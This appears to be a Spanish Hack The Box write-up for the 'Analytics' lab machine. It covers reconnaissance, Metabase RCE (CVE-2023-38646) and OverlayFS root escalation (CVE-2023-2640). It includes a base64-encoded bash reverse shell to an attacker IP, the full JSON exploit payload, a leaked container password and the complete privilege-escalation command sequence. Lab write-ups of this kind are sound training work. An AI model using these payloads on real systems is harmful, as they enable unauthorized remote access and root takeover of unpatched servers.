Descripción

Analytics es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución remota de comandos con un software Metabase vulnerable
  • Exposición de datos sensibles en un contenedor Docker
  • Escalada de privilegios mediante la vulnerabilidad CVE-2023-2640 en el kernel de Linux

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.233.

$ ping -c 3 10.10.11.233
PING 10.10.11.233 (10.10.11.233) 56(84) bytes of data.
64 bytes from 10.10.11.233: icmp_seq=1 ttl=63 time=42.0 ms
64 bytes from 10.10.11.233: icmp_seq=2 ttl=63 time=51.4 ms
64 bytes from 10.10.11.233: icmp_seq=3 ttl=63 time=134 ms

--- 10.10.11.233 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.020/75.700/133.650/41.156 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.233 -sS -oN nmap_scan 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.233
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.233 -sV -sC -p22,80 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.233
Host is up (0.50s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web. Encontramos que el sitio web es alojado por un servidor nginx 1.18.0, está hospedando una página de análisis de negocios. Podemos añadir el nombre de host a nuestro archivo /etc/hosts.

$ echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs analytical.htb   
http://analytical.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[demo@analytical.com,due@analytical.com], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.233], JQuery[3.0.0], Script, Title[Analytical], X-UA-Compatible[IE=edge], nginx[1.18.0]

En la parte superior de la página encontramos un botón de Iniciar sesión que redirige al subdominio de data, por lo que lo agregamos a nuestro archivo hosts.

$ echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts

Este subdominio alberga una instancia de Metabase, una aplicación utilizada para obtener inteligencia de negocios. Si miramos el código HTML del sitio web, vemos que la versión de Metabase ejecutándose es la v0.46.6. Observamos que esta versión de la aplicación es vulnerable a la ejecución de código remoto, CVE-2023-38646 y también informado en Github. Tenemos un artículo de Calif con instrucciones sobre cómo explotar la vulnerabilidad. En primer lugar, necesitamos obtener una propiedad setup-token desde un punto del sitio web, /api/sessions/properties.

$ curl -s http://data.analytical.htb/api/session/properties | jq '."setup-token"'
"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"

Explotación

Esta vulnerabilidad se debe a un punto, /api/setup/validate, que valida una cadena que indica la conexión a una base de datos, puede analizar y ejecutar comandos debido a su sintaxis si se crea una carga útil especial. Primero necesitamos crear el comando de la terminal inversa y codificarlo a Base64.

Comando de la terminal inversa:
bash -c '0<&143-;exec 143<>/dev/tcp/10.10.14.192/1234;sh <&143 >&143 2>&143'  
Comando de la terminal inversa codificada:
YmFzaCAtYyAnMDwmMTQzLTtleGVjIDE0Mzw+L2Rldi90Y3AvMTAuMTAuMTQuMTkyLzEyMzQ7c2ggPCYxNDMgPiYxNDMgMj4mMTQzJyAg

Ahora podemos crear el objeto JSON para enviar al punto con los valores anteriores, la propiedad setup-token y la cadena codificada Base64.

Objeto JSON a enviar al punto /api/setup/validate:
{"token":"249fa03d-fd94-4d5b-b94f-b4ebf3df681f","details":{"details":{"db":"zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER YEUBVMNL BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAnMDwmMTQzLTtleGVjIDE0Mzw+L2Rldi90Y3AvMTAuMTAuMTQuMTkyLzEyMzQ7c2ggPCYxNDMgPiYxNDMgMj4mMTQzJyAg}|{base64,-d}|{bash,-i}')\n$$--=x","advanced-options":false,"ssl":true},"name":"x","engine":"h2"}}

Antes de enviar la solicitud POST creamos nuestro puerto de escucha y obtendremos la terminal inversa.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.192] from (UNKNOWN) [10.10.11.233] 33772

Post-Explotación

Enumerando los usuarios, encontramos a metabase y root como usuarios de consola. Pero enumerando la información de la red encontramos la dirección IP de la interfaz, 172.17.0.2, que podría indicar que estamos dentro de un contenedor Docker.

metabase@metabase $ cat /etc/passwd | grep ash
root:x:0:0:root:/root:/bin/ash
metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash
metabase@metabase $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Enumerando las variables de entorno del contenedor de Docker encontramos dos, META_USER y META_PASS, respectivamente, metalytics y An4lytics_ds20223#.

metabase@metabase $ env    
MB_LDAP_BIND_DN=
LANGUAGE=en_US:en
USER=metabase
HOSTNAME=3a48dbb1a1a9
FC_LANG=en-US
SHLVL=5
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
HOME=/home/metabase
OLDPWD=/home/metabase
MB_EMAIL_SMTP_PASSWORD=
LC_CTYPE=en_US.UTF-8
JAVA_VERSION=jdk-11.0.19+7
LOGNAME=metabase
_=/bin/sh
MB_DB_CONNECTION_URI=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_PASS=
MB_JETTY_HOST=0.0.0.0
META_PASS=An4lytics_ds20223#
LANG=en_US.UTF-8
MB_LDAP_PASSWORD=
SHELL=/bin/sh
MB_EMAIL_SMTP_USERNAME=
MB_DB_USER=
META_USER=metalytics
LC_ALL=en_US.UTF-8
JAVA_HOME=/opt/java/openjdk
PWD=/
MB_DB_FILE=//metabase.db/metabase.db

Si tratamos de iniciar sesión a través del servicio SSH con estas credenciales tendremos acceso al sistema principal como el usuario metalytics y habremos escapado del contenedor Docker.

$ ssh metalytics@10.10.11.233
metalytics@10.10.11.233's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information

  System load:  0.78125           Processes:                270
  Usage of /:   99.8% of 7.78GB   Users logged in:          1
  Memory usage: 41%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.11.233

...

metalytics@analytics:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
metalytics:x:1000:1000:,,,:/home/metalytics:/bin/bash

Sólo encontramos root y metalytics como usuarios de consola. Como no podemos encontrar ninguna manera factible de escalar nuestros privilegios podemos intentarlo con un exploit del Kernel de Linux. Encontramos la versión del kernel instalada 6.2.0-25.

metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Este kernel es vulnerable a una escalada de privilegios en el kernel de Linux debido a la vulnerabilidad del módulo de Ubuntu OverlayFS, CVE-2023-2640, en versiones del kernel previas a 6.2.0-26.26. Tenemos una prueba de concepto hecha por Wiz. Solo necesitamos seguir las instrucciones en el sistema remoto.

metalytics@analytics:~$ mktemp -d
metalytics@analytics:~$ cd /tmp/tmp.eJQE5eKlvC
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ unshare -rm bash
root@analytics:/tmp/tmp.eJQE5eKlvC# mkdir lower upper workdir mount
root@analytics:/tmp/tmp.eJQE5eKlvC# cp /usr/bin/python3 lower/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# setcap 'cap_setuid+eip' lower/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# mount -t overlay overlay -o rw,lowerdir=lower,upperdir=upper,workdir=workdir mount
root@analytics:/tmp/tmp.eJQE5eKlvC# touch mount/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# exit
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("id")'
uid=0(root) gid=0(root) groups=0(root)

Ahora podemos ejecutar comandos como el usuario root.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("cat /home/metalytics/user.txt")'
<REDACTED>
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("cat /root/root.txt")'
<REDACTED>